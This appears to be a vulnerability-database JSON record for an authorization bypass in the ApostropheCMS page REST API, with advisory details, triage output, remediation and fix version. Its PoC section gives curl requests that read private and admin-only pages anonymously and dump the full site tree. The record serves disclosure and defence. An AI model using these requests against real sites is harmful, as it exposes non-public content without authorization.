{"id":"CVE-2026-113670","kind":"vulnerability","aliases":["CVE-2026-113670","GHSA-2j32-q6rx-h844"],"related":[],"title":"ApostropheCMS: Page REST API authorization bypass","description":"**Summary**\nThe core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.\n\n**PoC**\n```\n# Anonymous (no session) — private, admin-only page:\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  {\"_id\":\"...:en:published\",\"title\":\"Secret Private Page\",\"slug\":\"/secret-page\",\n#         \"type\":\"private-type\",\"visibility\":\"private\",\"secretData\":\"TOP-SECRET-VALUE-abc123\"}\n\n# Anonymous full site-map dump (includes private + loginRequired pages):\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page?all=1\"        # → 200, full tree\n\n# Contributor (cont_admin) reads full admin-only doc incl. protected field:\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  secretData = TOP-SECRET-VALUE-abc123\n# Controls (correctly enforced):\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz\"   # → 403\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"   # → 403\n```\n\n**Impact**\nUnauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.\n\n**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.","summary":"ApostropheCMS's core page REST API returns full page documents, including private and login-required pages, to anonymous users and low-privilege contributors because it skips the permission checks. An attacker can read non-public page content and the full site structure, and contributors can read admin-only page types and protected fields.","severity":"medium","cvss":5.300000190734863,"epss":0.003269999986514449,"exploited":false,"exploited_at":null,"products":[{"name":"apostrophe","fixed":["4.33.0"],"affected":"< 4.33.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["apostrophecms","cwe-863","headless-cms","node","package","self-hosted"],"not_affected_if":["no-private-or-loginrequired-pages","version-4.33.0-or-later"],"how_to_check":"Check the installed version: npm ls apostrophe\nAnonymously request GET /api/v1/@apostrophecms/page?all=1 on your site and see whether private or login-required pages appear.","fix":"Upgrade the apostrophe npm package to 4.33.0 or later.","status":"withdrawn","published_at":"2026-10-20T18:13:08+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:58:23+00:00","updated_at":"2026-10-23T21:57:21+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T19:58:23Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade the apostrophe npm package to 4.33.0 or later.\nunknown","summary":"ApostropheCMS's core page REST API returns full page documents, including private and login-required pages, to anonymous users and low-privilege contributors because it skips the permission checks. An attacker can read non-public page content and the full site structure, and contributors can read admin-only page types and protected fields.","category":"package","who_cares":["apostrophecms","node","self-hosted","headless-cms"],"confidence":0.8,"analyst_note":"","how_to_check":"Check the installed version: npm ls apostrophe\nAnonymously request GET /api/v1/@apostrophecms/page?all=1 on your site and see whether private or login-required pages appear.\nunknown","needs_analyst":false,"not_affected_if":["version-4.33.0-or-later","no-private-or-loginrequired-pages"],"severity_if_unknown":"unknown"},"cost_usd":0.000465,"input_tokens":3035,"output_tokens":323,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-113670':9A,17A '-2026':8A,16A '-863':21B '/api/v1':284C,301C,313C '/index.js':200C '/login-required':385C '/secret-page':237C '/slug':140C '1':106C,265C,361C '200':228C,266C,288C '2j32':12A '3100/api/v1':224C,262C '327':203C '385':171C '395':165C '403':309C,317C '465':146C 'abc123':249C,294C 'add':404C 'admin':80B,130C,219C,271C,275C,344C 'admin-on':79B,129C,218C,274C,343C 'anonym':48B,214C,250C 'api':4A,35B,92C 'apostrophe':18A 'apostrophecm':1A,19B,30B 'apostrophecms/page':263C,302C 'apostrophecms/page/d576242ve1dkzb12jiiabujd':225C,285C,314C 'apostrophecms/page/index.js':143C 'appli':375C 'attack':62B 'author':5A,192C,407C 'autocomplet':307C,390C 'await':147C 'b':282C,299C,311C 'behav':195C 'bypass':6A,109C 'check':60B,119C,185C 'cms':24B 'complet':335C 'config':400C 'config-presence-on':399C 'cont':270C 'content':69B,137C 'contrib.cookies':283C,300C,312C 'contributor':54B,76B,126C,269C,341C 'control':194C,295C 'core':32B,89C 'correct':193C,296C 'criteria':155C,386C 'curl':222C,260C,281C,298C,310C 'cve':7A,15A 'cwe':20B 'detail':141C 'differ':196C 'disclosur':320C 'doc':277C 'document':39B,96C,328C 'draft':316C 'dump':108C,255C 'en':226C,230C,286C,315C 'enforc':211C,297C 'enumer':356C 'everi':173C 'exist':188C 'explicit':406C 'fals':99C,153C,169C,209C,368C 'field':86B,280C,351C 'filter':161C 'full':37B,72B,94C,251C,267C,273C,327C 'geton':101C,144C,201C,370C 'getrestqueri':166C,205C 'ghsa':11A 'ghsa-2j32-q6rx-h844':10A 'h844':14A 'handler':163C 'headless':23B 'headless-cm':22B 'host':29B 'id':139C,229C,353C 'impact':318C 'incl':278C 'includ':40B,180C,256C 'l3044':183C 'l318':164C 'l319':202C 'l384':170C 'l456':145C 'leak':358C 'list':388C 'localhost':223C,261C 'login':44B 'login-requir':43B 'loginrequir':118C,258C,325C 'low':52B,124C 'low-privileg':51B,123C 'make':397C 'map':254C 'metadata':340C 'mirror':393C 'node':25B 'non':66B,134C 'non-publ':65B,133C 'packag':26B 'packages/apostrophe/modules':142C 'page':2A,33B,38B,46B,68B,82B,90C,95C,111C,136C,174C,221C,235C,259C,326C,346C 'page-typ':110C 'path':331C,391C 'per':409C 'perform':190C 'permiss':59B,98C,152C,168C,208C,367C 'piec':198C,395C 'piece-typ':197C,394C 'plus':381C 'poc':213C 'presenc':401C 'privat':41B,115C,217C,234C,240C,243C,257C,305C,323C 'private-typ':239C,304C 'privileg':53B,125C 'project':179C 'protect':85B,279C,350C 'public':67B,135C 'publicapicheck':398C 'publicapicheckasync':182C 'publicapiproject':187C 'publish':227C,231C,287C 'q6rx':13A 're':374C 're-appli':373C 'read':64B,78B,93C,128C,272C,342C 'remedi':365C 'remov':366C 'req':149C,151C,167C,206C 'requir':45B 'rest':3A,34B,91C 'return':36B,177C 'secret':233C,247C,292C 'secretdata':244C,289C 'self':28B 'self-host':27B 'self.getrestquery':150C 'self.publicapicheckasync':148C 'session':216C 'site':73B,253C,336C 'site-map':252C 'skip':57B 'slug':236C 'step':408C 'structur':74B,337C 'summari':87C 'system':364C 'threshold':158C,380C 'titl':232C 'top':246C,291C 'top-secret-value-abc123':245C,290C 'tree':107C,268C 'type':83B,112C,175C,199C,238C,241C,303C,306C,347C,377C,396C 'unauthent':120C,319C 'use':204C,392C 'user':49B 'valu':248C,293C 'verb':410C 'viewrol':113C,157C,212C,379C 'visibility/type':339C 'visibl':114C,117C,160C,181C,242C,322C,384C 'visitor':121C 'walk':172C 'without':207C 'zz':308C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T18:13:08+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2j32-q6rx-h844","url":"https://github.com/advisories/GHSA-2j32-q6rx-h844","severity":"medium","published_at":"2026-10-20T18:13:08+00:00","modified_at":"2026-10-20T18:13:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-113670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113670","severity":null,"published_at":"2026-10-20T18:17:20+00:00","modified_at":"2026-10-21T16:17:24+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}